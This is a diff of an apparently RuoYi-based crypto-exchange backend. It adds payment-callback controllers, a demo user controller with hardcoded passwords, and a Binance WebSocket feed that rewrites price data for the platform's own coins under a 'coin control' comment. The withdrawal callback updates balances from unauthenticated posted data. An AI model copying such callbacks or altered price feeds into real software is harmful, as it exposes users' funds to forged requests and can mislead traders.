itAppUserService.getAssetByUserIdList(appRecharge1.getUserId()); + TAppAsset appAsset = assetMap.get(appRecharge1.getCoin() + appRecharge1.getUserId()); + log.info("资产:"+JSONObject.toJSONString(appAsset)); + //增加余额 + if(appAsset==null){ + appAsset = new TAppAsset(); + appAsset.setAmout(appRecharge1.getAmount()); + appAsset.setAvailableAmount(appRecharge1.getAmount()); + appAsset.setUserId(appRecharge1.getUserId()); + appAsset.setAdress(tAppUser.getAddress()); + appAsset.setType(1); + appAsset.setSymbol(symbol.toLowerCase()); + itAppUserService.insertTAppAsset(appAsset); + }else{ + itAppUserService.updateTAppAsset( + TAppAsset.builder() + .symbol(appRecharge1.getCoin()) + .userId(appRecharge1.getUserId()) + .amout(appAsset.getAmout().add(appRecharge1.getAmount())) + .availableAmount(appAsset.getAvailableAmount().add(appRecharge1.getAmount())) + .type(AssetEnum.PLATFORM_ASSETS.getCode()) + .build()); + } + + + walletRecordService.generateRecord(appRecharge1.getUserId(), + appRecharge1.getRealAmount(), RecordEnum.RECHARGE.getCode(), + "", appRecharge1.getSerialId(), + "U盾自动充值",appAsset.getAmout(), + appAsset.getAmout().add(appRecharge1.getRealAmount()),appRecharge1.getCoin(),appRecharge1.getAdminParentIds()); + + log.info("代付回调成功: s erialId:{}", appRecharge1.getSerialId()); + } + return; + }else if(2==tradeType){ + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setSerialId(businessId); + List withdraws = withdrawService.selectTWithdrawList(appWithdraw); + if (CollectionUtils.isEmpty(withdraws)) { + log.error("代收提现回调时,订单不存在, third_serial_id:{}", businessId); + return; + } else { + TWithdraw tWithdraw = withdraws.get(0); + if(tWithdraw.getStatus()==1 || tWithdraw.getStatus()==2){ + log.error("代收提现回调已经处理, third_serial_id:{} ,{}", businessId,status); + return; + } + if (3 == status) { + tWithdraw.setFee(fee1); + tWithdraw.setRealAmount(realAmount); + tWithdraw.setStatus(1); + withdrawService.updateTWithdraw(tWithdraw); + log.info("代付回调成功: s erialId:{}", tWithdraw.getSerialId()); + return; + } else { + log.error("回调未成功,返回status:{}", status); + if (2 == status || 4 == status) { + BigDecimal amount1 = tWithdraw.getAmount(); + String coin = tWithdraw.getCoin(); + TAppUser user = appUserService.selectTAppUserByUserId(tWithdraw.getUserId()); + //资产 + Map map = assetService.getAssetByUserIdList(tWithdraw.getUserId()); + TAppAsset asset = map.get(tWithdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(amount1)); + asset.setAvailableAmount(beforeMount.add(amount1)); + assetService.updateByUserId(asset); + tWithdraw.setStatus(2); + tWithdraw.setUpdateBy(SecurityUtils.getUsername()); + tWithdraw.setWithDrawRemark("unc提现失败"); + tWithdraw.setRemark("unc提现失败"); + withdrawService.updateTWithdraw(tWithdraw); + recordService.generateRecord(tWithdraw.getUserId(), tWithdraw.getAmount(), 8, + SecurityUtils.getUsername(), tWithdraw.getSerialId(), "unc提现失败", beforeMount, + beforeMount.add(tWithdraw.getAmount()), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(tWithdraw.getAmount()), user.getUserId()); + } + } + } + } + } + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java new file mode 100644 index 0000000..d58fda1 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/recall/WithdrawRecallController.java @@ -0,0 +1,149 @@ +package com.ruoyi.web.controller.recall; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.service.ITAppAssetService; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.bussiness.service.ITAppWalletRecordService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.utils.RequestUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.List; +import java.util.Map; + +/** + * @author pc + */ +@RestController +@RequestMapping("/recall/withdraw") +@Slf4j +public class WithdrawRecallController extends ApiBaseController { + + @Resource + private ITWithdrawService withdrawService; + + @Resource + private ITAppAssetService assetService; + @Autowired + private ITAppWalletRecordService recordService; + + @Resource + private ITAppUserService appUserService; + + @PostMapping(value = "/unc") + public void onePayOut(HttpServletRequest request, HttpServletResponse response) throws IOException { + executeOnePayOut(request, response, "unc"); + } + + + private void executeOnePayOut(HttpServletRequest request, HttpServletResponse response, String name) throws IOException { + String postDataStr; + try { + postDataStr = RequestUtil.readJSONString(request); + } catch (Exception e) { + e.printStackTrace(); + log.error("unc回调json data解析失败"); + return; + } + log.info("unc recall post body: {}", postDataStr); + + JSONObject postData = JSON.parseObject(postDataStr); + + // 三方订单编号 + String fee = postData.getString("fee"); + String address = postData.getString("address"); + + String amount = postData.getString("amount"); + + String decimals = postData.getString("decimals"); + + String businessId = postData.getString("businessId"); + //0 待審核1 審核成功2 審核駁回3 交易成功4 交易失敗 + Integer status = postData.getInteger("status"); + Integer tradeType = postData.getInteger("tradeType"); + String tradeId = postData.getString("tradeId"); + + BigDecimal decimal = new BigDecimal(amount); + Double real = Math.pow(10, Double.valueOf(decimals)); + BigDecimal realAmount = decimal.divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + BigDecimal fee1 = new BigDecimal(fee).divide(new BigDecimal(real), 8, RoundingMode.HALF_UP); + + log.info("{}代付回调信息:{},{},{},{},{}", address, amount, businessId, status, tradeId); + if (tradeType == 2) { + TWithdraw appWithdraw = new TWithdraw(); + appWithdraw.setSerialId(businessId); + List list = withdrawService.selectTWithdrawList(appWithdraw); + if (CollectionUtils.isEmpty(list)) { + log.error("代收提现回调时,订单不存在, third_serial_id:{}", businessId); + response.getWriter().write("ok"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } else { + TWithdraw tWithdraw = list.get(0); + if (tWithdraw.getStatus() == 1 || tWithdraw.getStatus() == 2) { + log.error("代收提现回调已经处理, third_serial_id:{} ,{}", businessId, status); + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } + if (3 == status) { + tWithdraw.setFee(fee1); + tWithdraw.setRealAmount(realAmount); + tWithdraw.setStatus(1); + withdrawService.updateTWithdraw(tWithdraw); + log.info("{}代付回调成功: s erialId:{}", name, tWithdraw.getSerialId()); + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } else { + log.error("回调未成功,返回status:{}", status); + if (2 == status || 4 == status) { + BigDecimal amount1 = tWithdraw.getAmount(); + String coin = tWithdraw.getCoin(); + TAppUser user = appUserService.selectTAppUserByUserId(tWithdraw.getUserId()); + //资产 + Map map = assetService.getAssetByUserIdList(tWithdraw.getUserId()); + TAppAsset asset = map.get(tWithdraw.getCoin() + user.getUserId()); + BigDecimal beforeMount = asset.getAvailableAmount(); + asset.setAmout(asset.getAmout().add(amount1)); + asset.setAvailableAmount(beforeMount.add(amount1)); + assetService.updateByUserId(asset); + tWithdraw.setStatus(2); + tWithdraw.setUpdateBy(SecurityUtils.getUsername()); + tWithdraw.setWithDrawRemark("unc提现失败"); + tWithdraw.setRemark("unc提现失败"); + withdrawService.updateTWithdraw(tWithdraw); + recordService.generateRecord(tWithdraw.getUserId(), tWithdraw.getAmount(), 8, + SecurityUtils.getUsername(), tWithdraw.getSerialId(), "unc提现失败", beforeMount, + beforeMount.add(tWithdraw.getAmount()), coin, user.getAdminParentIds()); + log.debug("账变前amout ,账变后 ,userId {}-{} {}", beforeMount, beforeMount.add(tWithdraw.getAmount()), user.getUserId()); + } + } + } + } + response.getWriter().write("success"); + response.getWriter().flush(); + response.getWriter().close(); + return; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java new file mode 100644 index 0000000..b4f6bac --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/tool/TestController.java @@ -0,0 +1,183 @@ +package com.ruoyi.web.controller.tool; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.R; +import com.ruoyi.common.utils.StringUtils; +import io.swagger.annotations.Api; +import io.swagger.annotations.ApiImplicitParam; +import io.swagger.annotations.ApiImplicitParams; +import io.swagger.annotations.ApiModel; +import io.swagger.annotations.ApiModelProperty; +import io.swagger.annotations.ApiOperation; + +/** + * swagger 用户测试方法 + * + * @author ruoyi + */ +@Api("用户信息管理") +@RestController +@RequestMapping("/test/user") +public class TestController extends BaseController +{ + private final static Map users = new LinkedHashMap(); + { + users.put(1, new UserEntity(1, "admin", "admin123", "15888888888")); + users.put(2, new UserEntity(2, "ry", "admin123", "15666666666")); + } + + @ApiOperation("获取用户列表") + @GetMapping("/list") + public R> userList() + { + List userList = new ArrayList(users.values()); + return R.ok(userList); + } + + @ApiOperation("获取用户详细") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @GetMapping("/{userId}") + public R getUser(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + return R.ok(users.get(userId)); + } + else + { + return R.fail("用户不存在"); + } + } + + @ApiOperation("新增用户") + @ApiImplicitParams({ + @ApiImplicitParam(name = "userId", value = "用户id", dataType = "Integer", dataTypeClass = Integer.class), + @ApiImplicitParam(name = "username", value = "用户名称", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "password", value = "用户密码", dataType = "String", dataTypeClass = String.class), + @ApiImplicitParam(name = "mobile", value = "用户手机", dataType = "String", dataTypeClass = String.class) + }) + @PostMapping("/save") + public R save(UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("更新用户") + @PutMapping("/update") + public R update(@RequestBody UserEntity user) + { + if (StringUtils.isNull(user) || StringUtils.isNull(user.getUserId())) + { + return R.fail("用户ID不能为空"); + } + if (users.isEmpty() || !users.containsKey(user.getUserId())) + { + return R.fail("用户不存在"); + } + users.remove(user.getUserId()); + users.put(user.getUserId(), user); + return R.ok(); + } + + @ApiOperation("删除用户信息") + @ApiImplicitParam(name = "userId", value = "用户ID", required = true, dataType = "int", paramType = "path", dataTypeClass = Integer.class) + @DeleteMapping("/{userId}") + public R delete(@PathVariable Integer userId) + { + if (!users.isEmpty() && users.containsKey(userId)) + { + users.remove(userId); + return R.ok(); + } + else + { + return R.fail("用户不存在"); + } + } +} + +@ApiModel(value = "UserEntity", description = "用户实体") +class UserEntity +{ + @ApiModelProperty("用户ID") + private Integer userId; + + @ApiModelProperty("用户名称") + private String username; + + @ApiModelProperty("用户密码") + private String password; + + @ApiModelProperty("用户手机") + private String mobile; + + public UserEntity() + { + + } + + public UserEntity(Integer userId, String username, String password, String mobile) + { + this.userId = userId; + this.username = username; + this.password = password; + this.mobile = mobile; + } + + public Integer getUserId() + { + return userId; + } + + public void setUserId(Integer userId) + { + this.userId = userId; + } + + public String getUsername() + { + return username; + } + + public void setUsername(String username) + { + this.username = username; + } + + public String getPassword() + { + return password; + } + + public void setPassword(String password) + { + this.password = password; + } + + public String getMobile() + { + return mobile; + } + + public void setMobile(String mobile) + { + this.mobile = mobile; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java new file mode 100644 index 0000000..458e17a --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/LanguageLocalConfig.java @@ -0,0 +1,49 @@ +package com.ruoyi.web.core.config; + +import javax.servlet.http.HttpServletRequest; +import java.util.Locale; +import org.apache.commons.lang3.StringUtils; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.ComponentScan; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.servlet.LocaleResolver; + +import javax.servlet.http.HttpServletResponse; + +@Configuration +@EnableAutoConfiguration +@ComponentScan +public class LanguageLocalConfig implements LocaleResolver { + + @Override + public Locale resolveLocale(HttpServletRequest request) { + Locale locale = Locale.CHINA; + String language = request.getHeader("Lang"); + if (StringUtils.isNotBlank(language)) { + if(language.contains("_")){ + String[] splitLanguage = language.split("_"); + if (splitLanguage.length > 1) { + locale = new Locale(splitLanguage[0], splitLanguage[1]); + } + }else { + locale = new Locale(language); + } + + } + return locale; + } + + @Override + public void setLocale( + HttpServletRequest request, + HttpServletResponse response, + Locale locale) { + + } + + @Bean + public LocaleResolver localeResolver() { + return new LanguageLocalConfig(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java new file mode 100644 index 0000000..ae1c3ec --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java @@ -0,0 +1,125 @@ +package com.ruoyi.web.core.config; + +import java.util.ArrayList; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import com.ruoyi.common.config.RuoYiConfig; +import io.swagger.annotations.ApiOperation; +import io.swagger.models.auth.In; +import springfox.documentation.builders.ApiInfoBuilder; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; +import springfox.documentation.service.ApiInfo; +import springfox.documentation.service.ApiKey; +import springfox.documentation.service.AuthorizationScope; +import springfox.documentation.service.Contact; +import springfox.documentation.service.SecurityReference; +import springfox.documentation.service.SecurityScheme; +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spi.service.contexts.SecurityContext; +import springfox.documentation.spring.web.plugins.Docket; + +/** + * Swagger2的接口配置 + * + * @author ruoyi + */ +@Configuration +public class SwaggerConfig +{ + /** 系统基础配置 */ + @Autowired + private RuoYiConfig ruoyiConfig; + + /** 是否开启swagger */ + @Value("${swagger.enabled}") + private boolean enabled; + + /** 设置请求的统一前缀 */ + @Value("${swagger.pathMapping}") + private String pathMapping; + + /** + * 创建API + */ + @Bean + public Docket createRestApi() + { + return new Docket(DocumentationType.OAS_30) + // 是否启用Swagger + .enable(enabled) + // 用来创建该API的基本信息,展示在文档的页面中(自定义展示的信息) + .apiInfo(apiInfo()) + // 设置哪些接口暴露给Swagger展示 + .select() + // 扫描所有有注解的api,用这种方式更灵活 + .apis(RequestHandlerSelectors.withMethodAnnotation(ApiOperation.class)) + // 扫描指定包中的swagger注解 + // .apis(RequestHandlerSelectors.basePackage("com.ruoyi.project.tool.swagger")) + // 扫描所有 .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build() + /* 设置安全模式,swagger可以设置访问token */ + .securitySchemes(securitySchemes()) + .securityContexts(securityContexts()) + .pathMapping(pathMapping); + } + + /** + * 安全模式,这里指定token通过Authorization头请求头传递 + */ + private List securitySchemes() + { + List apiKeyList = new ArrayList(); + apiKeyList.add(new ApiKey("Authorization", "Authorization", In.HEADER.toValue())); + return apiKeyList; + } + + /** + * 安全上下文 + */ + private List securityContexts() + { + List securityContexts = new ArrayList<>(); + securityContexts.add( + SecurityContext.builder() + .securityReferences(defaultAuth()) + .operationSelector(o -> o.requestMappingPattern().matches("/.*")) + .build()); + return securityContexts; + } + + /** + * 默认的安全上引用 + */ + private List defaultAuth() + { + AuthorizationScope authorizationScope = new AuthorizationScope("global", "accessEverything"); + AuthorizationScope[] authorizationScopes = new AuthorizationScope[1]; + authorizationScopes[0] = authorizationScope; + List securityReferences = new ArrayList<>(); + securityReferences.add(new SecurityReference("Authorization", authorizationScopes)); + return securityReferences; + } + + /** + * 添加摘要信息 + */ + private ApiInfo apiInfo() + { + // 用ApiInfoBuilder进行定制 + return new ApiInfoBuilder() + // 设置标题 + .title("标题:若依管理系统_接口文档") + // 描述 + .description("描述:用于管理集团旗下公司的人员信息,具体包括XXX,XXX模块...") + // 作者信息 + .contact(new Contact(ruoyiConfig.getName(), null, null)) + // 版本 + .version("版本号:" + ruoyiConfig.getVersion()) + .build(); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java b/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java new file mode 100644 index 0000000..1d0b1c9 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java @@ -0,0 +1,56 @@ +package com.ruoyi.web.lifecycle; + +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.SpringContextUtil; +import com.ruoyi.telegrambot.MyTelegramBot; +import com.ruoyi.telegrambot.TelegramBotConfig; +import lombok.extern.slf4j.Slf4j; +import org.springframework.context.SmartLifecycle; +import org.springframework.stereotype.Component; +import org.telegram.telegrambots.meta.exceptions.TelegramApiException; +@Slf4j +@Component +public class MySmartLifecycle implements SmartLifecycle { + + private volatile boolean running = false; + + /*** true:让Lifecycle类所在的上下文在调用`refresh`时,能够自己自动进行回调* false:表明组件打算通过显式的start()调用来启动,类似于普通的Lifecycle实现。*/ + @Override + public boolean isAutoStartup() { + return true; + } + + /*** 很多框架中,把真正逻辑写在stop()方法内。比如quartz和Redis的spring支持包*/ + @Override + public void stop(Runnable callback) { + System.out.println("stop(callback)"); + stop(); + callback.run(); + } + + @Override + public void start() { + running = true; + } + + @Override + public void stop() { + RedisCache redisCache = SpringContextUtil.getBean(RedisCache.class); + redisCache.deleteObject("socket_coin"); + redisCache.deleteObject("socket_key"); + running = false; + } + + @Override + public boolean isRunning() { + System.out.println("isRunning()"); + return running; + } + + /*** 阶段值。越小:start()方法越靠前,stop()方法越靠后*/ + @Override + public int getPhase() { + System.out.println("getPhase()"); + return 0; + } +} \ No newline at end of file diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java new file mode 100644 index 0000000..0fe4611 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/SocketThreadRun.java @@ -0,0 +1,29 @@ +package com.ruoyi.websocket; + +import com.ruoyi.socket.service.MarketThread; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; + +import javax.annotation.PostConstruct; +import javax.annotation.Resource; +import java.net.URISyntaxException; +import java.util.List; + + +@Component +@Slf4j +public class SocketThreadRun { + + @Resource + private List marketThread; + + @PostConstruct + public void starSubMark() { + for (MarketThread thread : marketThread) { + /* thread.marketThreadRun(); + thread.initMarketThreadRun();*/ + } + + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java new file mode 100644 index 0000000..1acfd34 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketConfigdd.java @@ -0,0 +1,144 @@ +package com.ruoyi.websocket; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.socket.manager.BianaceWebSocketClient; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.drafts.Draft_6455; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.URI; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +@Slf4j +@Component +public class WebSocketConfigdd { + + @Resource + private ITSecondCoinConfigService secondCoinConfigService; + @Resource + private ITContractCoinService contractCoinService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITSymbolManageService tSymbolManageService; + @Resource + private IKlineSymbolService klineSymbolService; + + @Resource + private WebSocketUserManager webSocketUserManager; + @Resource + private ITOwnCoinService ownCoinService; + + public WebSocketSubscriber webSocketSubscriberKline() { + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + StringBuffer sb = new StringBuffer(); + for (String coin: strings) { + sb=sb.append(coin).append("@kline_1m/"); + } + String substring = sb.substring(0, sb.length() - 1); + System.out.println("substring:"+substring); + + + URI socket = URI.create("wss://stream.binance.com:9443/ws/"+substring); + // URI socket = URI.create("wss://data-stream.binance.vision/ws/"+substring); + + //int port = socket.getPort(); + //System.out.println("Port: " + port); + + return new WebSocketSubscriber(socket, new Draft_6455(),list,webSocketUserManager,strings); + } + + public WebSocketSubscriber webSocketSubscriberDetail() { + Set strings = new HashSet<>(); + //秒合约 + TSecondCoinConfig tSecondCoinConfig = new TSecondCoinConfig(); + tSecondCoinConfig.setMarket("binance"); + tSecondCoinConfig.setStatus(1L); + List tSecondCoinConfigs = secondCoinConfigService.selectTSecondCoinConfigList(tSecondCoinConfig); + for (TSecondCoinConfig secondCoinConfig : tSecondCoinConfigs) { + strings.add(secondCoinConfig.getSymbol()); + } + //U本位 + TContractCoin tContractCoin =new TContractCoin(); + tContractCoin.setEnable(0L); + tContractCoin.setMarket("binance"); + List tContractCoins = contractCoinService.selectTContractCoinList(tContractCoin); + for (TContractCoin contractCoin : tContractCoins) { + strings.add(contractCoin.getSymbol()); + } + //币币 + TCurrencySymbol tCurrencySymbol = new TCurrencySymbol(); + tCurrencySymbol.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tCurrencySymbols = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + for (TCurrencySymbol currencySymbol : tCurrencySymbols) { + strings.add(currencySymbol.getSymbol()); + } + + //兑换 + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setEnable("1"); + tCurrencySymbol.setMarket("binance"); + List tSymbolManages = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + for (TSymbolManage symbolManage : tSymbolManages) { + strings.add(symbolManage.getSymbol()+"usdt"); + } + //发币 和 自发币 + KlineSymbol klineSymbol = new KlineSymbol().setMarket("echo"); + List list = klineSymbolService.selectKlineSymbolList(klineSymbol); + for (KlineSymbol kline : list) { + strings.add(kline.getReferCoin()+"usdt"); + } + + URI socket =URI.create("wss://stream.binance.com:9443/ws/!ticker@arr"); + // URI socket =URI.create("wss://data-stream.binance.vision/ws/!ticker@arr"); + + return new WebSocketSubscriber(socket, new Draft_6455(),list,webSocketUserManager,strings); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java new file mode 100644 index 0000000..a78fd39 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketRunner.java @@ -0,0 +1,60 @@ +package com.ruoyi.websocket; + +import com.ruoyi.common.utils.DateUtils; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.CommandLineRunner; + +import org.springframework.context.annotation.Configuration; +import org.springframework.stereotype.Component; + +import javax.annotation.Resource; +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.URI; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +@Slf4j +@Configuration +public class WebSocketRunner implements CommandLineRunner { + + @Resource + private WebSocketConfigdd webSocketConfigdd; + + + private Map map=new HashMap<>(); + @Override + public void run(String... args) { + //System.setProperty("https.protocols", "TLSv1,TLSv1.1,TLSv1.2"); + WebSocketSubscriber webSocketSubscriberKline = webSocketConfigdd.webSocketSubscriberKline(); + WebSocketSubscriber webSocketSubscriberDetail = webSocketConfigdd.webSocketSubscriberDetail(); + + //Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress("127.0.0.1", 33210)); + // + //webSocketSubscriberKline.setProxy(proxy); + //webSocketSubscriberDetail.setProxy(proxy); + + webSocketSubscriberKline.connect(); + webSocketSubscriberDetail.connect(); + map.put("kline",webSocketSubscriberKline); + map.put("detaul",webSocketSubscriberDetail); + } + public void reStart(String... args) throws InterruptedException { + WebSocketSubscriber webSocketSubscriberKline = (WebSocketSubscriber) map.get("kline"); + WebSocketSubscriber webSocketSubscriberDetail = (WebSocketSubscriber) map.get("detaul"); + webSocketSubscriberKline.onClose(-1,null,true); + webSocketSubscriberDetail.onClose(-1,null,true); + WebSocketSubscriber webSocketSubscriber1 = webSocketConfigdd.webSocketSubscriberKline(); + WebSocketSubscriber webSocketSubscriber2 = webSocketConfigdd.webSocketSubscriberDetail(); + map.put("kline",webSocketSubscriber1); + map.put("detaul",webSocketSubscriber2); + webSocketSubscriber1.connect(); + webSocketSubscriber2.connect(); + + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java new file mode 100644 index 0000000..36e77a6 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/websocket/WebSocketSubscriber.java @@ -0,0 +1,221 @@ +package com.ruoyi.websocket; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONArray; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.socket.manager.WebSocketUserManager; +import lombok.Data; +import lombok.extern.slf4j.Slf4j; +import org.java_websocket.client.WebSocketClient; +import org.java_websocket.drafts.Draft; +import org.java_websocket.handshake.ServerHandshake; +import org.springframework.stereotype.Component; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.net.URI; +import java.util.*; + +@Slf4j +public class WebSocketSubscriber extends WebSocketClient { + private static final long RECONNECT_INTERVAL = 5000; // 重连间隔,单位:毫秒 + + private Timer reconnectTimer; + private WebSocketUserManager webSocketUserManager; + private Set allCoins; + + private List coinList; + + public WebSocketSubscriber(URI serverUri, Draft draft, List coinList, WebSocketUserManager webSocketUserManager, Set allCoins) { + super(serverUri, draft); + reconnectTimer = new Timer(); + this.coinList = coinList; + this.webSocketUserManager = webSocketUserManager; + this.allCoins = allCoins; + } + + @Override + public void onOpen(ServerHandshake serverHandshake) { + log.info("WebSocket connection opened."); + } + + @Override + public void onMessage(String message) { + // 处理接收到的消息 + // 如果收到服务器发送的ping帧,回复pong帧 + if (message.equals("Ping")) { + send("Pong"); + } + //处理k线是数据 + if(message.contains("kline")){ + JSONObject obj = JSON.parseObject(message); + String event = obj.toString(); + JSONObject jsonObject = JSON.parseObject(message); + webSocketUserManager.binanceKlineSendMeg(event); + String s = event; + //kline 逻辑 分发 和 控币 异步 + for (KlineSymbol kSymbol : coinList) { + if((jsonObject.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownKline(s, kSymbol); + webSocketUserManager.binanceKlineSendMeg(event); + } + } + s = createEvent(s); + webSocketUserManager.binanceTRADESendMeg(s); + for (KlineSymbol kSymbol : coinList) { + if((jsonObject.getString("s").toLowerCase().replace("usdt","")).equals(kSymbol.getReferCoin().toLowerCase())) { + event = ownTrade(s, kSymbol); + 